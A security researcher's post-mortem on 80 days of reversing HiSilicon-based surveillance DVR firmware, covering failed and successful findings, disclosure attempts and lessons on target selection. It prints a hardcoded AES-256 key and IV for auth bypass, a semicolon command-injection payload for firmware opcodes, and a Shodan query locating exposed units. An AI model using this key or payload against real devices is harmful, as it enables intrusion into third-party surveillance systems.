Firmware Vulnerability Research // Post-Mortem

80 Days Reverse Engineering an IoT DVR:
What I Found and Why It Didn't Work Out

Most vulnerability research writeups read like polished victory laps: the researcher glances at a binary, spots an unauthenticated pre-auth RCE in an afternoon, scripts a clean exploit, cashes a five-figure bounty check, and walks away.

This is not that writeup.

I spent roughly 80 sleepless days dissecting stripped ARM32 firmware binaries powering tens of thousands of white-label OEM surveillance DVRs globally. I extracted bootloader sequences, broke hardcoded AES-256 crypto, uncovered an unauthenticated root firmware execution vector, disassembled custom network daemons, and wrote instruction-level CPU emulators in Unicorn and QEMU.

And when the dust settled? I had $0 in bounties, expired server hosting, no live remote shell on the physical hardware, and an orphaned vulnerability.

Here is the unfiltered engineering reality of how it started, what I found, the rabbit holes I fell into, the shims I built, and the harsh lessons about target selection in the real-world offensive security economy.

TL;DR: Audited an OEM HiSilicon ARM32 surveillance DVR platform deployed across 28,000+ internet-facing units. Proved a protocol auth bypass (hardcoded AES-256 keys), an unsigned root upgrade execution chain in vendor code, and a flawed command sanitization gate. But the physical bench hardware ran a modern build with dormant network update opcodes, the white-label vendor has no security program, and exploit brokers like ZDI only purchase bugs for enterprise brands. Here is the post-mortem.

1. How It Started: Bench Hardware vs. 28,006 Internet Hosts

The research began on my lab workbench with an owner-operated, 4-channel analog surveillance DVR (HD ANALOG 04, serial 50400768). The device was powered by a HiSilicon Hi3521a SoC (ARM32) running an embedded Linux kernel.

On the local network, the device exposed two primary services:

To understand the real-world attack surface of this stack, I extracted the HTML hash of the login viewer and queried Shodan:

# Shodan query via login viewer HTML hash
http.html_hash:1901075043

# Census Results:
Total exposed devices : 28,006 internet-facing units
Primary open ports    : 80, 443, 8000, 8080
Geographic spread     : Global (heavy density in APAC, EMEA, Latin America)

Seeing 28,000+ internet-facing devices running a custom binary daemon on port 8000 made the question obvious: Can an unauthenticated remote attacker compromise this fleet?

2. Architecture & Multi-Generational Firmware Extraction

To analyze the platform without risking permanent bricking of the bench unit, I obtained and unpacked firmware images spanning two separate platform generations:

Unpacking the root filesystems revealed three critical components:

/dvr/
├── gui-indus-3r            # Qt-based core UI & network event dispatcher
├── S90dvrd                 # SysV init boot orchestration script
└── lib/
    └── libdal.so           # Hardware abstraction layer & DNP protocol demux

3. The iSCSI Rabbit Hole: A Lesson in Intellectual Honesty

Early in static analysis, I thought I had struck gold within 48 hours. Grepping strings inside libdal.so revealed blatant shell injection templates:

# Strings extracted from libdal.so (.rodata)
0x26df9c: /dvr/iscsiadm -m node --targetname "%s" --portal "%s:%d" --login
0x26df78: /dvr/iscsiadm -m discovery -t sendtargets -p %s
0x26dffc: /dvr/iscsiadm -m node --targetname "%s" --logout
0x26e030: /dvr/iscsiadm -m node -o delete "%s"

I assumed opcode 0x8130 (SET_ISCSI) could be invoked over port 8000 to deliver a command injection payload straight into system(). I spent days constructing packets and testing against the physical hardware.

The result? The live device immediately threw a ConnectionError and closed the socket.

Instead of convincing myself the payload was just "malformed," I performed cross-reference analysis in radare2 and Ghidra (axt across all references):

The Revelation: There were zero callers in libdal from the network dispatcher for the iSCSI functions. They were invoked exclusively by the local Qt GUI (gui-indus-3r, TSetupIscsi), reading local config files. They were physically unreachable over the network.

I formally retracted the finding in my notes. In security research, intellectual honesty is everything: code existing in a binary does not equal an exploitable remote vulnerability.

4. The Real Findings: Crypto & Firmware Update Chains

Finding 1: Protocol Authentication Bypass via Static AES-256 Key

The binary protocol running on TCP port 8000 frames packets with an 8-byte header: magic=0x5AA5, cmd (uint16), and length (uint32).

Analyzing opcode 0x8100 (the login handler) revealed that authentication is not tied to a password database. Instead, authentication relies on symmetric AES-256-CBC encryption using static keys hardcoded in the .rodata section of both libdal.so and gui-indus-3r:

KEY = b"dvr1234567!@#$%^&*()QWERTYUIOP%".ljust(32, b"\x00")
IV  = b"123456789012345\x00"

# Wire Handshake:
# 1. Client sends encrypted block: struct.pack(">5I", 1, 1, 1, len(inner), 0) + inner
#    where inner = AES_ENC(b"admin")
# 2. Server decrypts using the static key.
# 3. Server issues a per-session token used to encrypt subsequent commands.

I verified this live against the bench unit:

[+] login ok, session=b'06107402319800091b350e96HIJKLMN'
[+] devinfo serial=50400768 ver=0x00000620 name='HD ANALOG 04'

Anyone knowing the static key can authenticate to any internet-facing device on port 8000 without credentials.

Finding 2: The Unsigned Root Boot Upgrade Flow

Inspecting /etc/init.d/S90dvrd revealed how firmware updates are applied at system boot:

# /etc/init.d/S90dvrd boot logic
FWR=/dvr/fwr
if [ -f "$FWR" ]; then
    tar -zxvf $FWR ./upgrade
    chown root /dvr/upgrade
    chgrp root /dvr/upgrade
    chmod 755 /dvr/upgrade
    /dvr/upgrade $FWR reboot &
fi

There is zero cryptographic signature verification. No RSA public key check, no digest validation. If a tar.gz archive containing an executable named ./upgrade is placed at /dvr/fwr, it executes automatically as root (uid 0) during boot.

Finding 3: Sscanf Command Injection & The Flawed Gate

In libdal, opcode 0x220 handled firmware staging. It parsed the incoming packet using sscanf:

sscanf(payload, "fname:%s size:%d ver:%s", &src_path, &file_size, &version);

The extracted src_path was stored in the context struct at offset +0x25311c. When opcode 0x221 (apply) was triggered, it called:

sprintf(buf, "mv %s /dvr/fwr.tmp", ctx->src_path);
sys_system(buf);

Looking at the disassembly of sys_system() at address 0x9cc70, the vendor had implemented a custom character filter. It checked and rejected only two characters: backticks (`) and dollar signs ($).

Semicolons (;), pipes (|), and output redirects (>) were completely unhandled!

# Attacker payload:
fname:/dev/null;id>/www/pages/ROOTPWN.txt;# size:1 ver:1.2.3.4

# Resolves to:
system("mv /dev/null;id>/www/pages/ROOTPWN.txt;# /dvr/fwr.tmp")

5. CPU Register-Level Proof with Unicorn Engine

To prove the vulnerability without relying on assumptions, I built an instruction-level CPU emulator in Python using Unicorn Engine (unicorn-rce.py).

The script mapped the actual stripped ARM32 binary (libdal-volans-hi3531d.so) directly into emulated memory, set up the ARM registers, populated the context struct with the injection payload, and stepped instructions:

# unicorn-rce.py snippet
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)
mu.mem_map(BASE, 0x2C0000)
mu.mem_write(BASE, elf_bytes[:0x2C0000])

# Inject payload into struct offset
mu.mem_write(CTX + 0x253208, b"/dev/null;id>/www/pages/ROOTPWN.txt;#\x00")
mu.reg_write(UC_ARM_REG_R0, CTX)
mu.reg_write(UC_ARM_REG_SP, STACK + 0x8000)

# Hook the BL sys_system call site
def hook(uc, addr, size, data):
    if addr in BL_SYSTEM:
        r0 = uc.reg_read(UC_ARM_REG_R0)
        print("[!] CAPTURED r0:", cstr(r0))

Execution transcript:

$ python3 unicorn-rce.py libdal-volans-hi3531d.so
map blob file[0:0x2c0000) @ 0x00400000 (entry f4cac=0x004f4cac)
[+] sprintf built: mv /dev/null;id>/www/pages/ROOTPWN.txt;# /dvr/fwr.tmp
[!] CAPTURED r0 -> system("mv /dev/null;id>/www/pages/ROOTPWN.txt;# /dvr/fwr.tmp")
[+] PROVEN: Vendor ARM32 code passes unauthenticated attacker bytes directly to system()

6. The NTP Injection & The Hardware Reboot Trap

While investigating secondary attack surfaces, I discovered a command injection in the device's NTP configuration interface. Supplying a command in the NTP server parameter successfully wrote the payload into NVRAM, where it persisted across power cycles.

To trigger the reboot programmatically, I used an open-source tool called pwneye. However, the tool crashed immediately—it had an unhandled exception when interacting with devices configured with a blank administrative password. I reversed pwneye's Python code, patched the authentication check, and successfully triggered a physical reboot.

The box rebooted. The payload remained intact in NVRAM. But the root shell marker never appeared.

Disassembly of the 3.x startup sequence revealed the catch: the vendor had disabled the automated NTP synchronization routine at boot time in this build. The payload was safely stored in NVRAM, but the code path to execute it was dead.

7. The Remote Lab Infrastructure: Codespaces & Tor

Running heavy emulation and static decompilation on a Raspberry Pi 5 bench machine was impractical. I containerized the analysis environment and moved it to GitHub Codespaces:

8. The "Dead Zone" Paradox: 2,956 Fleet Hosts vs. 1 Bench Unit

Here is the central dilemma that defined the final month of the research:

The Firmware Divergence:
  • Firmware versions 2.3.4.x and 2.3.7.x contained both the vulnerable 0x220/0x221 code and the active network dispatch handlers.
  • My Shodan census proved that 2,956 internet-facing devices were actively running the vulnerable 2.3.7.x build.
  • However, my physical bench unit had been updated to 3.1.14.0 (0x620). On this newer branch, the vendor had migrated or dropped 0x220/0x221 from the network dispatch table.

Because I maintain strict research ethics, I refused to touch or fire test packets at any of the 2,956 third-party devices on the internet. Testing was strictly confined to my bench hardware.

On my bench hardware, the wire trigger was closed. On the internet fleet, the wire trigger was open, but off-limits.

9. The White-Label Orphan Trap & ZDI Rejection

I attempted coordinated vulnerability disclosure. There was no security contact, no security.txt, and no vendor portal. The only contact listed in the device manual was an unmonitored WhatsApp number. I sent detailed vulnerability advisories; no response ever arrived.

Next, I packaged the entire dossier—Ghidra disassemblies, Unicorn emulation scripts, wire transcripts, and PoCs—and submitted it to the Zero Day Initiative (ZDI).

ZDI operates a legitimate, well-funded acquisition program. But their business model relies on selling vulnerability intelligence to enterprise clients protecting Fortune 500 networks (VMware, Microsoft, Cisco, iOS).

Budget consumer surveillance DVRs have zero commercial acquisition value to corporate vulnerability feeds. The submission was declined.

By day 80, my Contabo VPS hosting had expired, my pocket balance was $0, and I couldn't afford to pay for OSCP+.

10. The Real Takeaways

Spending 80 days on an intense technical rabbit hole with zero financial return was a harsh reality check. But it taught me three principles that no certification can simulate:

  1. Target Selection is Everything: Technical complexity does not equal commercial value. Before dedicating months to reversing an embedded target, verify that there is a funded vulnerability reward program or an enterprise vendor accountable for patching it.
  2. Intellectual Honesty is the Only Currency: It is easy to fabricate hype or claim "fleet-wide 0-days" by glossing over build differences. Documenting the exact boundaries—what is binary-proven vs. what is live-network reachable—is what separates genuine researchers from charlatans.
  3. Low-Level Engineering Skills Compound: The 80 days were not wasted. The deep fluency with ARM32 assembly, Ghidra decompilation, Unicorn CPU emulation, and protocol auditing directly powers the high-concurrency tooling I build today at Leviathan OffSec.

About the Author

@cyeezy08 is an offensive security researcher and systems tooling developer. Founder of Leviathan OffSec, building high-concurrency Go tools and standard-library Python security utilities including HostageLVX and surfacediff.